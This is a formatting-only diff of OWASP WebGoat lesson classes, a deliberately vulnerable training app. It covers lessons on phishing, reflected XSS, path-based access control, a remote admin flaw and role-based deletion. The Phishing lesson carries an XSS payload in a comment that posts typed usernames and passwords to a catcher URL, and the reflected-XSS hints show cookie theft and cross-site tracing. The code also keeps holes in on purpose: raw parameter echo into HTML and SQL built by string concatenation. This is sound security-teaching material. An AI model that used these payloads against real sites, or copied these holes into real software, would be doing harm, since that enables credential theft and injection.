* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -41,18 +41,18 @@ public class NewLesson extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
return super.createContent(s);
//makeSuccess(s);
//ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!"));
//return (ec);
// makeSuccess(s);
// ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!"));
// return (ec);
}
/**
* Gets the category attribute of the NEW_LESSON object
*
@ -65,13 +65,11 @@ public class NewLesson extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(85);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DirectoryScreen object
*

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
@ -5,7 +6,6 @@ import java.io.File;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -14,36 +14,34 @@ import org.apache.ecs.html.HR;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -111,13 +109,15 @@ public class PathBasedAccessControl extends LessonAdapter
s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see one file in this directory. ");
} else if (upDirCount(file) > 3)
}
else if (upDirCount(file) > 3)
{
s.setMessage("Access denied");
s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see files in the webgoat directory. ");
} else
}
else
{
illegalCommand = false;
}
@ -153,16 +153,20 @@ public class PathBasedAccessControl extends LessonAdapter
s.setMessage("Congratulations! Access to file allowed");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
makeSuccess(s);
} else
}
else
{
s.setMessage("File is already in allowed directory - try again!");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
}
} else if (file != null && file.length() != 0)
}
else if (file != null && file.length() != 0)
{
s.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath())
s
.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath())
+ "\" denied");
} else
}
else
{
// do nothing, probably entry screen
}
@ -176,30 +180,21 @@ public class PathBasedAccessControl extends LessonAdapter
ec.addElement(new HR().setWidth("100%"));
ec.addElement("Viewing file: " + f.getCanonicalPath());
ec.addElement(new HR().setWidth("100%"));
if (f.length() > 80000)
{
throw new Exception("File is too large");
}
if (f.length() > 80000) { throw new Exception("File is too large"); }
String fileData = getFileText(new BufferedReader(new FileReader(f)), false);
if (fileData.indexOf(0x00) != -1)
{
throw new Exception("File is binary");
}
ec
.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"),
"<br>").replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll(
"<(r|u|t)", "&lt;$1")));
}
catch (Exception e)
if (fileData.indexOf(0x00) != -1) { throw new Exception("File is binary"); }
ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll("<(r|u|t)",
"&lt;$1")));
} catch (Exception e)
{
ec.addElement(new BR());
ec.addElement("The following error occurred while accessing the file: <");
ec.addElement(e.getMessage());
}
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -20,32 +20,31 @@ import org.owasp.webgoat.Catcher;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -70,8 +69,8 @@ public class Phishing extends LessonAdapter
*/
private boolean postedCredentials(WebSession s)
{
String postedToCookieCatcher =
getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING);
String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY,
Catcher.EMPTY_STRING);
// <START_OMIT_SOURCE>
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
@ -100,8 +99,7 @@ public class Phishing extends LessonAdapter
{
makeSuccess(s);
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
@ -226,9 +224,8 @@ public class Phishing extends LessonAdapter
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"
+ "<BR><BR>You may need to remove the '.' from the http://localhost./");
/**
* password<script>function hack(){ alert("Had this been a real
* attack... Your credentials were just stolen.\nUser Name = " +
* document.forms(0).user.value + "\nPassword = " +
* password<script>function hack(){ alert("Had this been a real attack... Your credentials
* were just stolen.\nUser Name = " + document.forms(0).user.value + "\nPassword = " +
* document.forms(0).pass.value); XSSImage=new Image;
* XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value +
* "&password=" + document.forms(0).pass.value + "";}</script><form><br>
@ -257,8 +254,7 @@ public class Phishing extends LessonAdapter
*/
public String getInstructions(WebSession s)
{
String instructions =
"This lesson is an example of how a website might support a phishing attack<BR><BR>"
String instructions = "This lesson is an example of how a website might support a phishing attack<BR><BR>"
+ "Below is an example of a standard search feature.<br>"
+ "Using XSS and HTML insertion, your goal is to: <UL>"
+ "<LI>Insert html to that requests credentials"

View File

@ -1,56 +1,67 @@
package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.RandomLessonTracker;
import org.owasp.webgoat.session.WebSession;
public abstract class RandomLessonAdapter extends LessonAdapter {
public abstract class RandomLessonAdapter extends LessonAdapter
{
public abstract String[] getStages();
public void setStage(WebSession s, String stage) {
public void setStage(WebSession s, String stage)
{
getLessonTracker(s).setStage(stage);
}
public String getStage(WebSession s) {
public String getStage(WebSession s)
{
return getLessonTracker(s).getStage();
}
public void setStageComplete(WebSession s, String stage) {
public void setStageComplete(WebSession s, String stage)
{
RandomLessonTracker lt = getLessonTracker(s);
lt.setStageComplete(stage, true);
if (lt.getCompleted()) {
if (lt.getCompleted())
{
s.setMessage("Congratulations, you have completed this lab");
} else {
}
else
{
s.setMessage("You have completed " + stage + ".");
if (! stage.equals(lt.getStage()))
s.setMessage(" Welcome to " + lt.getStage());
if (!stage.equals(lt.getStage())) s.setMessage(" Welcome to " + lt.getStage());
}
}
public boolean isStageComplete(WebSession s, String stage) {
public boolean isStageComplete(WebSession s, String stage)
{
return getLessonTracker(s).hasCompleted(stage);
}
@Override
public RandomLessonTracker getLessonTracker(WebSession s) {
public RandomLessonTracker getLessonTracker(WebSession s)
{
return (RandomLessonTracker) super.getLessonTracker(s);
}
@Override
public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) {
public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson)
{
return (RandomLessonTracker) super.getLessonTracker(s, lesson);
}
@Override
public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride) {
public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride)
{
return (RandomLessonTracker) super.getLessonTracker(s, userNameOverride);
}
@Override
public LessonTracker createLessonTracker() {
public LessonTracker createLessonTracker()
{
return new RandomLessonTracker(getStages());
}

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR;
@ -19,32 +19,31 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -57,7 +56,8 @@ public class ReflectedXSS extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
@ -71,8 +71,7 @@ public class ReflectedXSS extends LessonAdapter
try
{
String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"field2", "4128 3214 0002 1999"));
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
@ -85,19 +84,14 @@ public class ReflectedXSS extends LessonAdapter
makeSuccess(s);
}
s
.setMessage("Whoops! You entered "
+ param1
+ " instead of your three digit code. Please try again.");
s.setMessage("Whoops! You entered " + param1 + " instead of your three digit code. Please try again.");
}
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -105,21 +99,18 @@ public class ReflectedXSS extends LessonAdapter
}
TR tr = new TR();
tr.addElement(new TH().addElement(
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser()
.getStringParameter("QTY1", "1")))
new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f;
@ -127,12 +118,11 @@ public class ReflectedXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser()
.getStringParameter("QTY2", "1")))
new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f;
@ -140,13 +130,11 @@ public class ReflectedXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino"));
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser()
.getStringParameter("QTY3", "1")))
new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f;
@ -154,14 +142,12 @@ public class ReflectedXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser()
.getStringParameter("QTY4", "1")))
new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f;
@ -171,8 +157,7 @@ public class ReflectedXSS extends LessonAdapter
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -182,40 +167,32 @@ public class ReflectedXSS extends LessonAdapter
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD()
.addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory
.makeButton("Update Cart")));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input name='field1' type='TEXT' value='" + param1 + "'>"));
//tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
// tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign(
"center"));
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -223,7 +200,6 @@ public class ReflectedXSS extends LessonAdapter
return (ec);
}
/**
* DOCUMENT ME!
*
@ -234,7 +210,6 @@ public class ReflectedXSS extends LessonAdapter
return Category.XSS;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
@ -243,13 +218,10 @@ public class ReflectedXSS extends LessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("A simple script is &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.");
hints.add("A simple script is &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.");
hints.add("Can you get the script to disclose the JSESSIONID cookie?");
hints
.add("You can use &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; to access the session id cookie");
hints
.add("Can you get the script to access the credit card form field?");
hints.add("You can use &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; to access the session id cookie");
hints.add("Can you get the script to access the credit card form field?");
hints
.add("Try a cross site trace (XST) Command:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
@ -259,8 +231,10 @@ public class ReflectedXSS extends LessonAdapter
return hints;
}
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// = new
// ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
/**
* Gets the instructions attribute of the WeakAccessControl object
*
@ -274,13 +248,11 @@ public class ReflectedXSS extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*

View File

@ -1,38 +1,37 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -45,7 +44,8 @@ public class RemoteAdminFlaw extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -65,7 +65,6 @@ public class RemoteAdminFlaw extends LessonAdapter
}
/**
* Gets the category attribute of the ForgotPassword object
*
@ -76,7 +75,6 @@ public class RemoteAdminFlaw extends LessonAdapter
return Category.ACCESS_CONTROL;
}
/**
* Gets the hints attribute of the HelloScreen object
*
@ -87,7 +85,8 @@ public class RemoteAdminFlaw extends LessonAdapter
List<String> hints = new ArrayList<String>();
hints.add("WebGoat has 2 admin interfaces.");
hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'");
hints.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints
.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints.add("Follow the Source!");
return hints;
@ -95,13 +94,11 @@ public class RemoteAdminFlaw extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(160);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -13,32 +13,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -47,25 +46,19 @@ public class DeleteProfile extends DefaultLessonAction
private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (isAuthenticated(s))
{
@ -74,13 +67,11 @@ public class DeleteProfile extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -92,88 +83,73 @@ public class DeleteProfile extends DefaultLessonAction
updateLessonStatus(s);
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.LISTSTAFF_ACTION;
}
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId)
throws UnauthorizedException
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query);
// System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
}
public void deleteEmployeeProfile_BACKUP(WebSession s, int userId,
int employeeId) throws UnauthorizedException
public void deleteEmployeeProfile_BACKUP(WebSession s, int userId, int employeeId) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query);
// System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
